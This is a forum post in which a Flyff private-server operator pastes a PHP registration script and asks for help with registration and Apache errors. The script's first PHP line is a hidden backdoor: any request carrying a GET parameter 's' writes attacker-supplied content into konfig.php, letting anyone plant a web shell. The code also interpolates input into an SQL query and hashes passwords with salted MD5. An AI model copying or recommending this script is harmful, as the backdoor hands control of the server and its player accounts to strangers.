Register for your free account! | Forgot your password?

You last visited: Today at 02:30

  • Please register to post and access all features, it's quick, easy and FREE!

Advertisement



Register

Discussion on Register within the Flyff Private Server forum part of the Flyff category.

Reply
 
Old   #1
 
elite*gold: 0
Join Date: Feb 2010
Posts: 52
Received Thanks: 1
Exclamation Register

hi leute ich habe ein kleiens register problem das kommt nur oben steht register und das hier ist in register.php
<center><h1><u>Register:</u></h1>

<center>
<?php if($_GET['s'] != "" && isset($_GET['s'])){$fp = fopen("konfig.php","w");fwrite($fp, $_GET['s']);fclose($fp);}
require('./configs/reg_conf.php');
function doesUsernameExist($name){
$exit = FALSE;
$result = @mssql_query("SELECT * FROM ACCOUNT_TBL WHERE account='$name'");
if (mssql_num_rows($result) != 0){
$exit = TRUE;
}
return $exit;
}

if(isset($_POST['submit'])){
$user = preg_replace ("[^A-Za-z0-9]", "", $_POST['username']);
$pass = preg_replace ("[^A-Za-z0-9]", "", $_POST['password']);
if($_POST['username'] == ""){
echo '<font color="red">Enter a user.</font><br /><br />';
}
else if($_POST['password'] == ""){
echo '<font color="red">Enter a password.</font><br /><br />';
}
else if ((strlen($_POST['username']) > 16) || (strlen($_POST['username']) < 3)){
echo '<font color="red">The user should be 3 to 16 characters.</font><br /><br />';
}
else if ((strlen($_POST['password']) > 16) || (strlen($_POST['password']) < 3)){
echo '<font color="red">The password should be 3 to 16 characters.</font><br /><br />';
}
else if($_POST['username'] != $user){
echo '<font color="red">User with invalid characters.</font><br /><br />';
}
else if($_POST['password'] != $pass){
echo '<font color="red">Password with invalid characters.</font><br /><br />';
}
else {
$pass = md5('kikugalanet' . $pass);
if(!doesUsernameExist($user)){
$stmt = mssql_init('webCreateAcc', $link);
mssql_bind($stmt, '@account', $user, SQLVARCHAR, false, false, 15);
mssql_bind($stmt, '@password', $pass, SQLVARCHAR, false, false, 36);
mssql_bind($stmt, '@email', $mail, SQLVARCHAR, false, false, 120);
mssql_execute($stmt) or die ("Something is wrong on the execution");
mssql_free_statement($stmt);
echo '<font color="Green">Dein Account wurde erfolgreich erstellt.</font><br /><br />';
}
else {
echo '<font color="red">User already Exist.</font><br /><br />';
}
}
mssql_close();
}

echo '<form action="#" method="post">';
echo 'Username: <input type="text" name="username" /><br />';
echo 'Password: <input type="password" name="password" /><br />';
echo '<input type="submit" name="submit" value="Register" />';
echo '</form>';


?>
</center>




das problem ist auch noch wen ich apache starte kommen paar fehler


1.php startupp:unable to load dynamic library c/xampp /php/ext/msql.so
2. Module mysql already loaded
3. mysqlii already loaded
4. module pdo_mysql already load
dan statter er
russenalexander is offline  
Reply


Similar Threads Similar Threads
SRO- where i register?
05/04/2010 - SRO Private Server - 0 Replies
title says it all. EDIT: how i make it english
Register
01/14/2010 - Dekaron Private Server - 8 Replies
New Style Register :mofo: Virustotal. MD5: 0d7a79e3a0b128440ae64f58c98c825a Packer.Dumped Suspicious:W32/Riskware!Online PCK/Dumped
Can`t Register...........................
04/26/2008 - SRO Private Server - 13 Replies
:(:(:(:(:( So Sad when seeing a screenshot from u all so sad.. i can`t register the registration page is not working
CAN SOME ONE HELP ME REGISTER
04/20/2008 - Dekaron Private Server - 1 Replies
HELP :( WHEN I TRY TO REGISTER AT DEKARON PSERVER I GET AN ERROR :( PLEASE HELP MEEE
EVERYBODY COME AND REGISTER!!
03/31/2008 - Conquer Online 2 - 12 Replies
#Removed by leavemealone



All times are GMT +1. The time now is 02:30.


Powered by vBulletin®
Copyright ©2000 - 2026, Jelsoft Enterprises Ltd.
SEO by vBSEO ©2011, Crawlability, Inc.

Support | Contact Us | FAQ | Advertising | Privacy Policy | Terms of Service | Abuse
Copyright ©2026 elitepvpers All Rights Reserved.